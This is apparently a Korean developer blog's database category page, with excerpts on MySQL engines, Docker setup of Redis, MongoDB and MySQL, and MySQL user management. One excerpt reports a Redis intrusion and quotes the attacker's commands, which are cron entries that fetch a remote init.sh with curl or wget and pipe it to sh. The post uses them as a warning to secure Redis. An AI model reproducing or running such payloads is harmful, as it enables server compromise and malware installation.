본문 바로가기

Database

(8)
MySQL 스토리지 엔진 (InnoDB, MyISAM, 그외...) InnoDB vs MyISAM What's different? InnoDB MyISAM Locking Level Row Table Foreign Key Yes No Transaction Yes No Clustered Index Yes No Full-Text Index Yes (MySQL 5.6~) Yes Geospatial Index Yes (MySQL 5.7~) Yes Storage Limit 64TB 256TB InnoDB 높은 신뢰성과 고성능의 균형을 이루는 범용 스토리지 엔진입니다. 많은 기능을 제공하여 상대적으로 무겁습니다. Row level locking 지원으로 INSERT,UPDATE,DELETE에 유리합니다. write가 많은 서비스에서 유리합니다. 테이블과 인덱스를 테이블 스페이스에 저..
Redis 해킹 backup 생성되고 데이터가 삭제됨 Docker에서 레디스를 설치하고 사용하는 데에 지속적으로 데이터가 삭제되고 backup1, backup2, backup3, backup4 키가 저장되는 것을 확인하였습니다. 모니터링 해보면 지속적으로 해킹을 시도합니다. 보안 설정을 잘 해둬야겠습니다. 계정 설정을 해두고 방화벽 설정을 점검합시다. redis-cli monitor "flushall" "set" "backup1" "\n\n\n*/2 * * * * cd1 -fsSL http://194.87.139.103/cleanfda/init.sh | sh\n\n" "set" "backup2" "\n\n\n*/3 * * * * wget -q -O- http://194.87.139.103/cleanfda/init.sh | sh\n\n" "set" "back..
Docker Redis 설치, 접속 Docker로 Redis를 설치하고 실행해볼게요. 1. Redis 이미지 가져오기 docker pull redis 2. 신규 Container 생성, 실행 docker run --name redis-container -p 6379:6379 redis Redis는 기본적으로 포트만 열려있으면 무조건으로 접근이 가능합니다. 기본 설정으로 설치한 Redis 보안에 상당히 취약하기 때문에 최소한 반드시 비밀번호라도 설정해줍시다. 아래 예제보다 1억 배는 매우 어려운 문자로 해줍시다. 실제 클라우드에 6379 포트 열어두고 있으면 무조건 해킹 시도가 와요. 포트만 바꿔줘도 해킹 시도 당하는 횟수가 거의 줄어드니 포트 변경도 권장 드립니다. docker run --name redis-container -p 6379..
Docker MongoDB 설치, 접속 Docker로 MongoDB를 설치해보겠습니다. 1. Mongo 이미지 가져오기 docker pull mongo 2. 신규 컨테이너 생성 2-1. Mongo Standalone docker run --name mongo-container -p 27017:27017 mongo Docker 컨테이너 자동으로 재시작하고 싶다면 아래와 같이 실행하면 되요. docker run --name mongo-container -p 27017:27017 -dit --restart unless-stopped mongo 2-2. Mongo Replica Set Standalone이 아닌 하나의 ReplicaSet으로 구성하고 싶다면 아래 옵션을 추가해주면 되요. docker run --name mongo-container -..
Docker MySQL for Kitematic MySQL 컨테이너 설치 root 패스워드 설정 컨테이너를 설치, 실행하고 로그를 확인하면 이런 로그를 확인할 수 있어요. ROOT 계정의 패스워드를 지정해줘야합니다. Settings - General - Environment Variables 리스트에 MYSQL_ROOT_PASSWORD를 추가해주세요. 그리고 하단의 SAVE 버튼을 누릅니다. Published Port 설정 터미널 접속 exec를 클릭하면 MySQL 서버가 설치된 컨테이너에 터미널 접속을 할 수 있어요. 클라이언트 접속 mysql 8+ 버전을 사용하셨다면 이런 오류가 나올 수 있어요. Public Key Retrieval is not allowed 아래와 같이 접속 클라이언트 쪽에서 설정을 해주어야해요. allowPublicKeyRet..
Docker MySQL 설치, 접속, 자동 재시작 Docker로 MySQL을 설치해볼거에요. 1. MySQL 이미지 가져오기 docker pull mysql 2. 신규 Container 생성, 실행 docker run --name mysql-container -e MYSQL_ROOT_PASSWORD=1234 -d -p 3306:3306 mysql 이제 root 계정으로 접속하면 됩니다. 끝! Docker 컨테이너 자동으로 재시작하고 싶다면 아래와 같이 실행하면 되요. docker run --name mysql-container -e MYSQL_ROOT_PASSWORD=1234 -d -p 3306:3306 -dit --restart unless-stopped mysql 자세한건 링크를 참고해주세요. https://docs.docker.com/config/..
Windows Redis 설치 (윈도우즈 레디스) Windows에 Redis를 설치해보려고 해요. Redis에서 공식적으로 지원하지 않아요. 하지만, 다행히도 Microsoft에서 Redis를 Windows에 설치하여 사용할 수 있도록 지원해주고 있어요. 우선, 아래 github url에서 Redis 설치 파일을 다운로드 할게요. https://github.com/MicrosoftArchive/redis/releases microsoftarchive/redis Redis is an in-memory database that persists on disk. The data model is key-value, but many different kind of values are supported: Strings, Lists, Sets, Sorted Sets,..
MySQL 사용자 계정 권한 조회/추가/수정/삭제 MySQL에서 사용자 계정 권한을 추가, 수정, 삭제하는 방법이에요. mysql 데이터베이스에서 실행 use mysql; 계정 조회 select * from user; 계정 생성 create user 계정@호스트 identified by 패스워드; create user dbuser@localhost identified by 'password'; -- 로컬에서만 접근 가능 create user dbuser@192.168.1.72 identified by 'password'; -- 특정 IP에서 접근 가능 create user dbuser@'%' identified by 'password'; -- 어디에서나 접근 가능 계정 삭제 drop user 계정@호스트; drop user dbuser@localhost..